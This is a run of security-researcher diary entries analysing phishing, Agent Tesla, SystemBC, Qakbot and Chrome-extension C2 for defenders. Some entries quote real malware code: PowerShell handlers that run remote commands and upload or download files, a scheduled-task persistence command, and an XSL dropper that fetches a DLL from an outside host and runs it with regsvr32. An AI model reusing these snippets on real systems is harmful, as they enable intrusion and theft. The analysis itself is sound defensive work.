What turned out to be even more interesting than the use bitmaps to store encoded/encrypted DLLs, however, was the code of the original executable, in which the "malicious bitmaps" were hidden. The EXE, which was originally named HashHelpers.exe, had its description and product name set to Virus Effect Remover. This was a name of a legitimate anti-malware tool developed during the 2000s and first half of 2010s.

This, by itself, would not be that unusual, since malware authors sometimes like to name their creations in creative or provocative ways. Nevertheless, in this case, the name wasn’t the only thing which authors of Agent Tesla borrowed from the anti-malware tool… They reused significant portions of its code as well.

When comparing the malicious file with the latest available release of the real tool[3], it can be clearly seen that large parts of both binaries are (nearly) identical.

Although the original code in the malicious EXE is never executed, authors of the malware reused large parts of it when making their creation. Since Virus Effect Remover was also written in VB.NET, getting to the code and repurposing it, even if they were working from a compiled executable, would of course be trivial for them.

Even though use of "trojanized" security tools is not a novel concept by any means, I think this was the first time I’ve seen it done in this way – i.e. by using code of an old anti-malware solution without trying to pass the resulting executable to target users as the original tool.

While we can only speculate on why creators of the malicious code chose to hide it in a code of a historical security tool, by far the most probable explanation seems to be that this was done in an attempt to make the malware seem benign to anti-malware scanners. And since some security tools use signature-based allow-listing mechanisms to avoid scanning of known security tools, this might have actually worked in some instances...

Indicators of Compromise (IoCs)
Download_Tracking_Reference.01.02.2021.xlsx.iso (806 kB)
MD5 - 2ceb9c4347aed5dd387d261b40473f46
SHA-1 - d4b93dd1bfb531b228353451977185f039407741

Download_Tracking_Reference.01.02.2021.xlsx.exe / HashHelpers.exe (745 kB)
MD5 - 9417df6dc7d716b0b69e587c9d89981b
SHA-1 - e905472faad91b87dbfc7afc838564fde3c87aa3

BestFit.dll (10 kB)
MD5 - a32a0b1cc226475671801360f6c53419
SHA-1 - aa6d74a2db3c430175e79f581afc29240b17ae6c

PositiveSign.dll (430 kB)
MD5 - 8b1e495e40571a5912f672f38f47058d
SHA-1 - c900af54932bdd4c8fd749cecb5689e7e2082037

[1] https://www.zscaler.com/blogs/security-research/linkedin-job-seeker-phishing-campaign-spreads-agent-tesla
[2] https://www.virustotal.com/gui/file/101399675ec99fcca0b69a0d6c146431c3a28c10d322499c817b2197e86971b5/detection
[3] https://sourceforge.net/projects/viruseffectremo/

-----------
Jan Kopriva
@jk0pr
Alef Nula

Introduction

The ISC handlers email distro gets plenty of spam and phishing emails on a daily basis.  Most of these are filtered so they never make it to the inbox; however, every once in a while one gets through.

Today's diary reviews an example of a phishing email from our inbox on Tuesday 2021-02-09.

Shown above:  Email headers from the phishing message.

The email

As shown in the previous image, the sending address had been spoofed to look like it came from administrator@sans.isc.edu.  But the message actually came to our mail server from 165.232.128[.]118.  That much we can confirm, because it was the most recent Received: from line before it hit our mail server.  Anything else can be spoofed.  Based on the only other Received: from line, this message might have originated from 69.12.85[.]209, but that line could have been added to confuse analysts.

Shown above:  Screenshot of the phishing messaged when viewed in the Thunderbird email client.

The phishing message has a URL to hxxps://soberlab[.]ca/sl.html?email=[phishing recipient's email address].  The domain oberlab[.]ca seems like it is hosting a legitimate website, and that legitimate website may have been compromised to host the phishing URL.

Shown above:  Opening link from the phishing message in a web browser.

Phishing traffic

Shown above:  Traffic from viewing the email link filtered in Wireshark.

The HTTPS link from the email redirects to a phishing page at hxxp://aromatee[.]com[.]au/inc/mail.php.  Like the previous URL, this one looks like it's hosted on a legitimate domain using a server that's been compromised to host a phishing URL.  I entered a fake password, and the data was sent over HTTP back to the server.

Shown above:  HTTP POST request with the fake password I entered.

Final words

These types of emails are all too common, and they're remarkably cost-effective.  While most of you wouldn't fall for it, people are fooled by similar messages.  Therefore, phishing will remain a viable social engineering technique.

A sanitized version of the email shown in this diary, along with a pcap of traffic to the associated phishing page, can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

This month we got patches for 56 vulnerabilities. Of these, 11 are critical, 1 is being exploited and 6 were previously disclosed.

The exploited vulnerability is an elevation of privilege vulnerability affecting Win32k (CVE-2021-1732). This is a local vulnerability, which means that to exploit the vulnerability, an attacker would have to have local access to the machine (console or SSH for example) or rely on user interaction, like a user opening a malicious document.  The CVSS v3 score for this vulnerability is 7.80.

The highest CVSS score this month (9.80) was given to 4 vulnerabilities. One of those is a critical Remote Code Execution (RCE) vulnerability in Microsoft DNS Server (CVE-2021-24078). This vulnerability would allow a remote unauthenticated attacker to execute code with the service privilege on the target host. As this vulnerability does not require user interaction, this is a potentially wormable vulnerability that requires your attention if you have Microsoft DNS Server in your network – specially exposed to the Internet.

There are also two RCEs worth mentioning this month affecting Windows TCP/IP. The first (CVE-2021-24074) affects IPV4 and involve source routing. Despite source routing being blocked by default in Windows, the system will process the request and return an ICMP message denying the request. There is a workaround for this vulnerability documented in Microsoft advisory that will cause the system to drop these requests altogether without any processing. The vulnerability affecting IPV6 (CVE-2021-24094) is related to package fragmentation. Both vulnerabilities are CVSS v3 9.80.

Amongst already disclosed vulnerabilities, there is a critical RCE affecting .Net Core 2.0, 3.1 and 5.0 (CVE-2021-26701). The CVSS v3 for this vulnerability is 8.10. There are no details.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com.

February 2021 Security Updates

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

The following screenshot drew my attention when I read Brad's diary entry "Excel spreadsheets push SystemBC malware":

This shellcode is encoded, each byte is represented with printable characters: \xHH where HH are hexadecimal characters.

And that is something that can easily be decoded with my tool base64dump.py (this tools supports many encodings, not only base64).

I was able to export this encoded shellcode as a file with Wireshark (File / Export Objects / HTTP), and then decode it.

But then I was wondering: can I avoid saving this shellcode to disk? Can I pipe together commands to analyze the shellcode?

And I found a solution with tshark (Wireshark's console version).

Here's how I did this:

I read Brad's pcap file (option -r) and apply a display filter (-Y) to select packets that contain xfc (the start of the encoded shellcode, minus the backslash): "http.file_data contains xfc". And I display the content of field http.file_data (options -Tfields and -e).

I can pipe this directly into my base64dump.py tool:

Like Brad mentioned, the shellcode is downloaded twice. And here we can see that it's the same shellcode (same hash).

And this looks indeed like shellcode (notice the IP address at the end of the hex/ascii dump):

That IP address (plus 0x00 byte) is followed by 4 bytes: that's most likely the Cobalt Strike license ID/watermark.

I can check this with my tool 1768.py to analyze Cobalt Strike beacons:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

YARA version 4.0.5 was released.

This is a bugfix version for bugs in the macho module.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Who remembers the worm Melissa[1]? It started to spread in March 1999! In information security, it looks like speaking about prehistory but I spotted a VBA macro that tried to use the same defensive technique as Melissa. Yes, back in 1999, attackers already tried to use techniques to defeat users' protections. The sample macro has a low VT score (7/44) (SHA256:386e1a60011ff0a818adff8c638005ec5015930c1b35d06cacc11f3ab53725d0)[2].

The macro tries to implement the same as Melissa did in the past. The Microsoft VBA interaction with the operating system and applications is very deep and you can achieve lots of interesting actions (from an attacker's perspective). The interesting properly used in this case is Application.CommandBars[3]. Here is the sample of code:

If System.PrivateProfileString("", HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security", "Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("", HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security", "Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1) :Options.SaveNormalPrompt = (1 - 1)
End If

It tries to disable menus related to security but when I tested in my lab, it did not work. I decided to test with a less sensitive menu and  I successfully tested with a less critical option Edit / Cut:

CommandBars("Edit").Controls("Cut").Visible = True
CommandBars("Edit").Controls("Cut").Enabled = False
Application.CommandBars("Built-in Menus").ShowPopup

Now, the menu Cut is disabled:

Why Microsoft allows this kind of operation? For example, to prevent the user to copy/paste data or printing a sensitive document. This technique is the same as found in the Melissa worm[4], the remaining code of the macro is not heavily obfuscated and drops a lot of scripts on the file system:

C:\ProgramData\Windows\Microsoft\java\GoogleUpdateschecker.vbs
C:\ProgramData\Windows\Microsoft\java\hUpdateCheckers.ps1
C:\ProgramData\Windows\Microsoft\java\hUpdateCheckers.base
C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.base
C:\ProgramData\Windows\Microsoft\java\cUpdateCheckers.bat
C:\Windows\Temp\bi.bat
C:\Windows\Temp\bar.bat
C:\Windows\Temp\bob.bat

The goal of the macro is to achieve reconnaissance on the victim's computer and exfiltrate the browsing history through the tool BrowsingHistoryView.exe[5]. Then, it connects with the C2 server (hxxp://www[.]mumbai-m[.]site/update_wapp2.aspx). Capabilities are classic:

Execution of code:

if ($rid.EndsWith("0")) {
    $rcnt = $rcnt | ? { $_.trim() -ne "" }
    $res += $rcnt.Split("&") | foreach-object { $_ | iex | Out-String }
    sndr $rid $res
}

The upload of files:

elseif ($rid.EndsWith("1")) {
    $adr = $rcnt.Trim()
    if (Test-Path -Path $adr) {
        $adrS = adrCt "$rid" "4"
        ${global:$wc}.UploadFile($adrS, $adr)
    }
    else {
        sndr $rid "404"
    }
}

The download of files:

elseif ($rid.EndsWith("2")) {
    $savAdr = $upPath+$rcnt.trim();
    $adrS = adrCt "$rid" "5"
    ${global:$wc}.DownloadFile($adrS, $savAdr)
    sndr $rid "200<>$savAdr"
}

Persistence is achieved with a scheduled task:

code4="@schtasks /create /F /sc minute /mo 1 /tn ""\UpdateTasks\JavaUpdates"" /tr ""wscript /b ""C:\ProgramData\Windows\Microsoft\java\GoogleUpdateschecker.vbs""""NEXTLINE@schtasks /create /F /sc minute /RU ""SYSTEM"" /mo 1 /tn ""\UpdateTasks\JavaUpdates"" /tr ""wscript /b ""C:\ProgramData\Windows\Microsoft\java\GoogleUpdateschecker.vbs"""""
code4 = Replace(code4, "NEXTLINE", vbCrLf)

I found the technique (to change the layout of menus) interesting and not very common. Did you find other samples like this one? Please share your feedback.

[1] https://en.wikipedia.org/wiki/Melissa_(computer_virus)
[2] https://www.virustotal.com/gui/file/386e1a60011ff0a818adff8c638005ec5015930c1b35d06cacc11f3ab53725d0/details
[3] https://docs.microsoft.com/en-us/office/vba/api/excel.application.commandbars
[4] https://packetstormsecurity.com/files/12131/melissa.macro.virus.txt.html
[5] https://github.com/tresacton/PasswordStealer/raw/master/BrowsingHistoryView.exe

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I had a pleasure (or not) of working on another incident where, among other things, attackers were using a pretty novel way of exfiltrating data and using that channel for C&C communication. Some of the methods observed in analyzed code were pretty scary – from a defender’s point of view, as you will see further below in this diary.

The code that was acquired was only partially recovered, but enough to indicate powerful features that the attackers were (ab)using in Google Chrome, so let us dive into it.

Google Chrome extensions

The basis for this attack were malicious extensions that the attacker dropped on the compromised system. Now, malicious extensions are nothing new – there were a lot of analysis about such extensions and Google regularly removes dozens of them from Chrome Web Store, which is the place to go to in order to download extensions.

In this case, however, the attackers did not use Chrome Web Store but dropped the extension locally in a folder and loaded it directly from Chrome on a compromised workstation. This is actually a legitimate function in Chrome – you can access it by going to More Tools -> Extensions and enabling Developer mode, after which you can load any extensions locally, directly from a folder by clicking on "Load unpacked":

The attackers created a malicious addon which pretended to be Forcepoint Endpoint Chrome Extension for Windows, as shown in the figure below. Of course, the extension had nothing to do with Forcepoint – the attackers just used the logo and the name:

When creating Chrome extensions, configuration of an extension is stored in a file named manifest.json, which defines what permissions the extension has and many other parameters. The manifest.json file that was used by this malicious extension is shown below, with some parts redacted:

There are many parameters that can be used here, but the most important ones are the following:

• content_scripts defines JavaScript files which will be injected in web pages defined in the matches object (redacted from screenshot). This can be used by an attacker to add arbitrary code to target web pages (think about changing content and stealing data)
• permissions defines permissions that the extension requires – in this example it is set to storage, to allow the extension to use the storage API
• background defines JavaScript files that will run when extension is loaded. This is where the attacker had their exfiltration and C&C features embedded. Background files are extremely powerful and allow a script to receive a message (and send it) in background (as the name says)

The majority of further analysis was based on the background scripts so I will skip details which are not interesting for this particular case.

The background script used the jQuery library, so the extension contained a legitimate version of jQuery (hey, everyone wants their life easy). But there were also some things that I saw for the first time, which is why I think this particular exploitation is novel.

Before showing the code, I must explain the attack goal of this particular attacker – they wanted to manipulate data in an internal web application that the victim had access to. While they also wanted to extend their access, they actually limited activities on this workstation to those related to web applications, which explains why they dropped only the malicious Chrome extension, and not any other binaries. That being said, it also makes sense – almost everything is managed through a web application today, be it your internal CRM, document management system, access rights management system or something else (which is why I love teaching SEC542).

With that in mind, let’s take a look at a part of a background script that was dropped by the malicious Chrome extension. Even if you are not a JavaScript developer, the code should be relatively understandable (once we explain what specific methods are used for):

This is what the code does:

• First, the attacker used the chrome.runtime.onConnectExternal.addListener method. This method is part of the chrome.runtime API that is provided by the Chrome browser to extensions.
  onConnectExternal.addListener method allows a developer to setup a listener which will be fired when a connection is made from another extension. Interesting, so this allows for communication between extensions.
• Then the attacker calls the port.onMessage.addListener method. The Port object allows for two way communication, so our extensions can have a nice conversation. The rest sets up a listener which will be called when the other extension calls postMessage() – that’s how messages are sent between extensions.
• After some debugging that was left there by the attacker (the console.log request), there is a switch that checks the value of parameter type in the received message (this is just an excerpt from a bigger switch case).
• Now an interesting thing happens: if the value of the type parameter is “check_oauth_token_status”, the extension will verify if there is a key called “oauth_token” in Chrome’s storage. If it is there, it will send back (to the other extension) a message containing the value of the token with the status set to true, after which it will be deleted from Chrome’s storage.
• If the value of the type parameter is “save_mailhighlight_token”, the extension will create a new key in Chrome’s storage called email, with the value of “highlight_token” assigned to it. This key will be saved in Chrome’s storage.

This is hopefully readable in the code, but wait the best thing is yet to come: since the extension is using chrome.storage.sync.get and chrome.storage.sync.save methods (instead of chrome.storage.local), all these values will be automatically synced to Google’s cloud by Chrome, under the context of the user logged in in Chrome. In order to set, read or delete these keys, all the attacker has to do is log in with the same account to Google, in another Chrome browser (and this can be a throwaway account), and they can communicate with the Chrome browser in the victim’s network by abusing Google’s infrastructure!

While there are some limitations on size of data and amount of requests, this is actually perfect for C&C commands (which are generally small), or for stealing small, but sensitive data – such as authentication tokens!

For me, this was the first time I have seen something like this, so I naturally wanted to test it to see how things are working – and you can do the same thing.

For testing you can use any extension you have, as long as it requested the storage permission. For this demo I will be using the Google Docs Offline extension, something a lot of users might have installed in their browser (and I do as well). Select developer mode and in the extension click on the background page link:

Now the DevTools console will open that will allow you to issue commands as this extension directly – normally an attacker would put code into files as described above, but for the test we will be executing commands directly. Go to the Console tab and now you can use the API’s directly. Let’s store and sync a test message over Google’s infrastructure:

This will create a key called “SANS” with the value of “Hello from Internet Storm Center” and will sync it to this account. The sync will not happen instantly, but in my tests it was synced usually in 10-15 seconds at the most. Now let me log in on my other machine, open the DevTools console same as above and read this key (notice this is done on a Mac):

Woot! It worked! So we can use this to “have a chat” between these two machines, over Google’s infrastructure. As you can imagine, this can be used as both a C&C communication channel, but also for slow exfiltration of data. It will be slow because Chrome and Google throttle requests. Specifically, a key can be up to 8 KB (8192) bytes in size, with a maximum number of keys being 512, allowing us to transfer 4 MB at a time. Besides this, Chrome will allow 2 set, remove or clear operations per second or 1800 operations per hour. Hmm, when I think about it, it’s not that slow really.

I was, of course, also interested into what this looks like on the wire and if it is possible to maybe detect such abuse of Chrome’s extensions.
All requests Chrome is making are directed to clients4.google.com, over HTTPS. The request syncing the key I set previously is shown below:

Now, if you are thinking on blocking access to clients4.google.com be careful – this is a very important web site for Chrome, which is also used to check if Chrome is connected to the Internet (among other things).

In the request shown in the figure above the body is GZIP compressed. It contains a serialized object which contains also the key that was set. In case you are intercepting your browser traffic on the edge (for example, with an interception proxy), this will make analysis (much) more difficult, but luckily the requests always appear to be going to the /chrome-sync/ endpoint, so this is something you can block or alert on.

Besides this, I would recommend that (depending on your environment) Chrome extensions are controlled; Google allows you to do that through group policies so you can define exactly which extensions are allowed/approved and block everything else.

Hope you enjoyed this little analysis of how scary web browser extensions can be!
 

--
Bojan
@bojanz
INFIGO IS

Introduction

On Monday 2021-02-01, a fellow researcher posted an Excel spreadsheet to the Hatching Triage sandbox.  This Excel spreadsheet has a malicious macro, and it uses an updated GlobalSign template that I hadn't noticed before (link for the sample).

This Excel spreadsheet pushed what might be SystemBC malware when I tested it in my lab environment on Monday 2021-02-01.  My lab host was part of an Active Directory (AD) environment, and I also saw Cobalt Strike as follow-up activity from this infection.

Today's diary reviews this specific instance of (what I think is) SystemBC and Cobalt Strike activity from Monday 2021-02-01.

Shown above:  Flow chart from the SystemBC infection on Monday 2021-02-01.

Infection Path

I didn't know where these spreadsheets were coming from when I investigated this activity on Monday 2021-02-01.  By Tuesday 2021-02-02, several samples had come into VirusTotal showing at least 20 spreadsheets that were contained in zip archives.  These appear to have been attachments using emails as a distribution method.  Unfortunately, I couldn't find any emails submitted to VirusTotal yet that contained one of the zip archives.

Shown above:  Screenshot from one of the spreadsheets.

Spreadsheet macro grabs SystemBC malware

Enabling macros on a vulnerable Windows host caused HTTPS traffic to grab a Windows executable (EXE) file for SystemBC malware.  This EXE was stored and run from new directory path created under the C:\ drive as shown below.

Shown above: SystemBC malware saved to the infected Windows host.

This EXE file was made persistent on the infected host through a scheduled task.

Shown above:  Scheduled task to keep the malware persistent.

SystemBC post-infection traffic

The first post-infection traffic caused by SystemBC was TCP traffic to 109.234.39[.]169 over port 4001 as shown below.

Shown above:  SystemBC traffic over TCP port 4001.

Next was HTTP traffic to the same IP address over TCP port 80 that returned obfuscated text containing code to start the Cobalt Strike activity.

Shown above:  HTTP traffic caused by SystemBC that returned code for Cobalt Strike.

Cobalt Strike traffic

Cobalt strike activity consisted of HTTPS traffic and DNS activity focused on the domain fastonent[.]com.

Shown above:  Cobalt Strike activity from the infection.

Shown above:  Alerts from the traffic using Squil in Security Onion with Suricata and the ETPRO ruleset.

Indicators of Compromise (IOCs)

Final words

I'm not 100 percent sure this malware is SystemBC, but HTTP traffic caused by the EXE has /systembc/ in the URL, so I'm calling it SystemBC until someone identifies it as another malware family.

When I ran the spreadsheet on a stand-alone host, I only saw SystemBC traffic over TCP port 4001.  I didn't see the Cobalt Strike traffic until I infected one of my lab hosts within an AD environment.  This reflects a trend I've noticed with at least one another malware family (Hancitor), where Cobalt Strike doesn't appear unless the infected host is running in an AD environment.

A pcap of the infection traffic and and malware from the infected Windows host can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Last week, Brad posted a diary about TA551[1]. A few days later, one of our readers submitted another sample belonging to the same campaign. Brad had a look at the traffic so I decided to have a look at the macro, not because the code is heavily obfuscated but data are spread at different locations in the Word document.

The sample was delivered through a classic phishing email with a password-protected archive. It's a file called ‘facts_01.28.2021.doc’ (SHA256:dcc5eb5dac75a421724fd8b3fa397319b21d09e22bc97cee1f851ef73c9e3354) and unknown on VT at this time.

It contains indeed a macro:

remnux@remnux:/MalwareZoo/20210129$ oledump.py facts_01.28.2021.doc
A: word/vbaProject.bin
 A1:       539 'PROJECT'
 A2:        89 'PROJECTwm'
 A3: m    1127 'VBA/ThisDocument'
 A4:      3687 'VBA/_VBA_PROJECT'
 A5:      2146 'VBA/__SRP_0'
 A6:       198 'VBA/__SRP_1'
 A7:       348 'VBA/__SRP_2'
 A8:       106 'VBA/__SRP_3'
 A9: M    1165 'VBA/a7JUT'
A10: M   10838 'VBA/aBJwC'
A11:       884 'VBA/dir'
A12: m    1174 'VBA/frm'
A13:        97 'frm/\x01CompObj'
A14:       286 'frm/\x03VBFrame'
A15:       170 'frm/f'
A16:      1580 'frm/o'

If looking at "M" flags in the oledump output is a key point, it's always good to have a look at all the streams. A first interesting observation is the presence of a user form in the document (see the ‘frm’ in streams 13 to 16 combined with 'm' in stream 12). 'frm' is the name that was given to the author. This can be verified by checking the document in a sandbox:

WARNING: Don't do this on a regular host!

The user form contains three elements (text boxes). Now let's have a look at the document. Macros are polluted with comments and can be cleaned by filtering them.

Stream #9 is not interesting, it just contains the AutoOpen() function which calls the real entry point:

remnux@remnux:/MalwareZoo/20210129$ oledump.py facts_01.28.2021.doc -s 9 -v | grep -v "' "
Attribute VB_Name = "a7JUT"
Sub AutoOpen()
Call ahjAvX
End Sub

The real interesting one is located in the stream 10:

remnux@remnux:/MalwareZoo/20210129$ oledump.py facts_01.28.2021.doc -s 10 -v | grep -v "' "
Attribute VB_Name = "aBJwC"
Function ajC1ui(auTqHQ)
End Function
Function atZhQ(aF1TxD)
atZhQ = ActiveDocument.BuiltInDocumentProperties(aF1TxD)
End Function
Function ayaXI(aa5xD, aqk4PA)
Dim aoTA6S As String
aoTA6S = Chr(33 + 1)
ayaXI = aa5xD & atZhQ("comments") & aoTA6S & aqk4PA & aoTA6S
End Function
Function acf8Y()
acf8Y = "L"
End Function
Sub ahjAvX()
axfO6 = Trim(frm.textbox1.text)
aa6tSY = Trim(frm.textbox2.text)
aqk4PA = aa6tSY & "xs" & acf8Y
aa5xD = aa6tSY & "com"
a6AyZu = Trim(frm.textbox3.text)
aYlC14 aqk4PA, axfO6
FileCopy a6AyZu, aa5xD
CreateObject("wscript.shell").exec ayaXI(aa5xD, aqk4PA)
End Sub
Sub aYlC14(aFp297, axfO6)
Open aFp297 For Output As #1
Print #1, axfO6
Close #1
End Sub

ahjAvX() is called from AutoOpen() and starts by extracting values of the user form elements: form.textbox[1-3].text

The element #3 contains “c:\windows\system32\wbem\wmic.exe”
Element #2 contains "c:\programdata\hello." (note the dot at the end)
And element #1 contains what looks to be some XML code.

Before check the XML code, let's deobfuscate the macro:

ahjAvX() reconstructs some strings and dump the XML payload into a XSL file by calling aYlC14(). Then, a copy of wmic.exe (the WMI client) is copied in "c:\programdata\hello.com". Before spawning a shell, more data is extracted from the document via atZhQ():

Function atZhQ(aF1TxD)
atZhQ = ActiveDocument.BuiltInDocumentProperties(aF1TxD)
End Function

The document comments field contains the string "pagefile get /format:"

By the way, did you see the author's name?

With the extracted comments field, here is the function that executes the XSL file:

Function ayaXI(aa5xD, aqk4PA)
  Dim aoTA6S As String
  aoTA6S = Chr(33 + 1)
  ayaXI = aa5xD & atZhQ("comments") & aoTA6S & aqk4PA & aoTA6S
End Function

The reconstructed command line is:

c:\programdata\hello.com pagefile get /format: "c:\programdata\hello.xsl"

We have here a perfect example of a dropper that dumps an XSL file on the disk and executes it. This technique is referred as T1220 by Mitre[2]. Let's now have a look at the XSL file:

<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="https://microsoft.com/xxx">
<msxsl:script language="VBScript" implements-prefix="user">
<![CDATA[
Function aOLsw()
  Set xmlhttp = CreateObject("msxml2.xmlhttp")
  xmlhttp.open "GET", "http://fbfurnace6.com/assets/4621f42aad9738c0992/e93f49079ac08560/67311dcc4b7a6/shaz10?pr=5dc7155&rccks=4cc00761&kp=d909e4b6e097ed", false.
  xmlhttp.send
  If xmlhttp.Status = 200 Then
    Set stream = CreateObject("adodb.stream")
    stream.Open
    stream.Type = 1
    stream.Write xmlhttp.ResponseBody
    stream.Position = 0
    stream.SaveToFile "c:\programdata\41401.jpg", 2
    stream.Close
  End if
End Function
]]>

</msxsl:script>
<msxsl:script language="VBScript" implements-prefix="user">
<![CDATA[
]]>
</msxsl:script>

<msxsl:script language="VBScript" implements-prefix="user">
<![CDATA[
Function awyXdU(aLYgv, aCdvO, atYdl)
  Call aOLsw
  Set aKLoby = CreateObject("wscript.shell")
  With aKLoby
    .exec "regsvr32 c:\programdata\41401.jpg"
  End With
  awyXdU = 1
End Function
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:awyXdU('', '', '')"/>
</xsl:template>
</xsl:stylesheet>

The function awyXdU() is the entry point of this XSL file. It calls aOLsw() to download the malicious Qakbot DLL, dumps it on the disk, and executes it with regsvr32. XSL files are not new but it has been a while since I did not spot one. Didier already mentioned them in a previous diary around 2019[3].

[1] https://isc.sans.edu/forums/diary/TA551+Shathak+Word+docs+push+Qakbot+Qbot/27030/
[2] https://attack.mitre.org/techniques/T1220/
[3] https://isc.sans.edu/forums/diary/Malicious+XSL+Files/25098

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Over the last number of weeks (after the Solarwinds Orion news) there's been a lot of discussion on how to detect if a server-based applcation is compromised.  The discussions have ranged from buying new sophisticated tools, auditing the development pipeline, to diffing patches.  But really, for me it's as simple as saying "should my application server really be able to connect to any internet host on any protocol".  Let's take it one step further and say "should my application server really be able to connect to arbitrary hosts on tcp/443 or udp/53 (or any other protocol)".  And when you phrase it that way, the answer really should be a simple "no".

For me, fixing this should have been a simple thing.  Let's phrase this in the context of the CIS Critical Controls (https://www.cisecurity.org/controls/)
CC1: server and workstation inventory
CC2: software inventory 
(we'll add more later)

I know these first two are simple - but in your organization, do you have a list of software that's running on each of your servers?  With the inbound listening ports?  How about outbound ports that connect to known internet hosts?
This list should be fairly simple to create, figure a few minutes to hour or so for each application to phrase it all in terms that you can make firewall rules from

CC12:
Now, for each server make an egress filter "paragraph" for your internet facing firewalls.  Give it permission to reach out to it's list of known hosts and protocols.  It's rare that you will have hosts that need to reach out to the entire internet - email servers on the SMTP ports are the only ones that immediately come to mind, and we're seeing fewer and fewer of those on premise anymore these days.
Also CC12:
So now you have the list of what's allowed for that server.  Add the line "permit <servername> any ip log" - in other words, permit everything else, but log it to syslog.  Monitor that server's triggered logs for a defined period of time (a day or so is usually plenty).  Be sure to trigger any "update from the vendor" events that might be part of any installed products.  After that period of time, change that line to "deny <servername> any ip log", so now we're denying outbound packets from that server, but still logging them.

What about my Linux servers you ask?  Don't they need all of github and every everything in order to update?  No, no they do not.  To get the list of repo's that your server reaches out to for upgrades:

(this lists all sources, filters out comment lines, and looking for "deb" nicely filters out blank lines)

Refine this list further to just get the unique destinations:

So for a stock Ubuntu server, the answer is two - you need access to just two hosts to do a "direct from the internet" update. Your mileage may vary depending on your configuration though.

How about Windows?  For a standard application server, the answer usually is NONE.  You likely have an internal WSUS, SCCM or SCOM server right?  That takes care of updates.  Unless you are sending mail with that server (which can be limited to just tcp/25, and most firewalls will restrict to valid SMTP), likely your server is providing a service, not reaching out to anything.   Even if the server does reach out to arbitrary servers, you can likely restrict it to specific destination hosts, subnets, protocols or countries.

With a quick inventory, creating a quick "stanza" for each server's outbound permissions goes pretty quickly.  For each line, you'll be able to choose a logging action of "log", "alert" or "don't log".  Think about these choices carefully, and select the "don't log" option at your peril.  Your last line for each server's outbound stanza should almost without fail be your firewall's equivalent of "deny ip <servername> any log"

Be sure that your server change control procedures include a "after this change, does the application or server need any additional (or fewer) internet accesses?"

The fallout from this?  Surprisingly little.  

• If you have administrators who RDP to servers, then use the browser on that server for support purposes, this will no longer work for them.  THIS IS A GOOD THING.  Browse to potentially untrusted sites from your workstation, not the servers in the server VLAN!
• As you add or remove software, there's some firewall rule maintenance involved.  If you skip that step, then things will break when you implement them on the servers.  This "tie the firewall to the server functions" step is something we all should have been doing all along.
• But I have servers in the cloud you say?  It's even easier to control outbound access in any of the major clouds, either with native tools or by implementing your <insert vendor here> cloud based or virtual firewall.  If you haven't been focused on firewall functions for your cloud instance, you should drop your existing projects and focus on that for a week or so (seriously, not joking).
• On the plus side, you'll have started down the path of implementing the Critical Controls.  Take a closer look at them if you haven't already, there's only good things to find there :-)
• Also on the plus side, you'll know which IP's, subnets and domains that your purchased applications reach out to
• Just as important, or even moreso - you'll have that same information for your in-house applications.
• Lastly, if any of your hosts or applications reach out to a new IP, it's going to blocked and will raise an alert.  If it ends up being reverse-shell or C&C traffic, you can definitively say that you blocked that traffic.  (score!)
• Lastly-lastly - treat denied server packets as security incidents.  Make 100% sure that denying this packet breaks something before allowing it.  If you just add an "allow" rule for all denied packets, then you'll at some point just be enabling malware to do it's best.

For most organizations with less than a hundred server VMs, you can turn this into a "hour or two per day" project and get it done in a month or so.

Will this catch everything?  No you still need to address workstation egress, but that's a do-able thing too (https://isc.sans.edu/forums/diary/Egress+Filtering+What+do+we+have+a+bird+problem/18379/).  Would this have caught the Solarwinds Orion code in your environment?  Yes, parts of it - in most shops the Orion server does not need internet access at all (if you don't depend on the application's auto-update process) - even with that, it's a short "allow" list.  And if the reaction is to treat denied packets seriously, you'd have caught it well before it hit the news (this was a **lengthy** incident).  The fact that nobody caught it in all that time really means that we're still treating outbound traffic with some dangerous mindsets "we trust our users" (to not make mistakes), "we trust our applications" (to not have malware) and "we trust our server admins" (to not do dumb stuff like browse from a server, or check their email while on a server).  If you read these with the text in the brackets, I'm hoping you see that this really should be mindsets we set aside, maybe we should have done this in the early 2000's!  This may seem like an over-simplification, but really it's not - this approach really does work.

If you've caught anything good with a basic egress filter, please share using our comment form (NDA permitting of course).

Referenced Critical Controls:

CC1: Inventory and Control of Hardware Assets (all of it, if you haven't done this start with your server VLAN)
CC2: Inventory and Control of Software Assets (again, all of it, and again, start with your server VLAN for this)
CC7.6 Log all URL requests from each of the organization's systems, whether on-site or a mobile device, in order to identify potentially malicious activity and assist incident handlers with identifying potentially compromised systems.9.1 Associate active ports, services, and protocols to the hardware assets in the asset inventory.
CC9.4 Apply host-based firewalls or port-filtering tools on end systems, with a default-deny rule that drops all traffic except those services and ports that are explicitly allowed.
CC12.4 Deny communication over unauthorized TCP or UDP ports or application traffic to ensure that only authorized protocols are allowed to cross the network boundary in or out of the network at each of the organization's network boundaries.
CC12.5 Configure monitoring systems to record network packets passing through the boundary at each of the organization's network boundaries.

===============
Rob VandenBrink
rob@coherentsecurity.com